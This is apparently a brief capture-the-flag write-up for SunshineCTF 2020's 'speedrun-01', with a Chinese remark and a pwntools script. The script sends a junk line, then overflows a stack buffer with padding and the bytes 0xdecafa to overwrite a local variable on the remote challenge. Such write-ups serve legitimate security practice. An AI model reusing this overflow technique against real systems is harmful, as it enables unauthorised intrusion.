---
# System prepended metadata

title: speedrun-01
tags: [sunshine]

---

###### tags: `sunshine`

# speedrun-01

- ![](https://i.imgur.com/YC9HKN0.png)
    - 跟第一題差不多，但在CALL gets前有個call fgets多塞隨意的值給他

```python=
from pwn import *

payload  = 'A' * (0x60 - 0x4)
payload += '\xde\xca\xfa'

p = remote('chal.2020.sunshinectf.org', 30001)
#p = process("./chall_01")
p.sendline("lol")
p.sendline(payload)
p.interactive()
```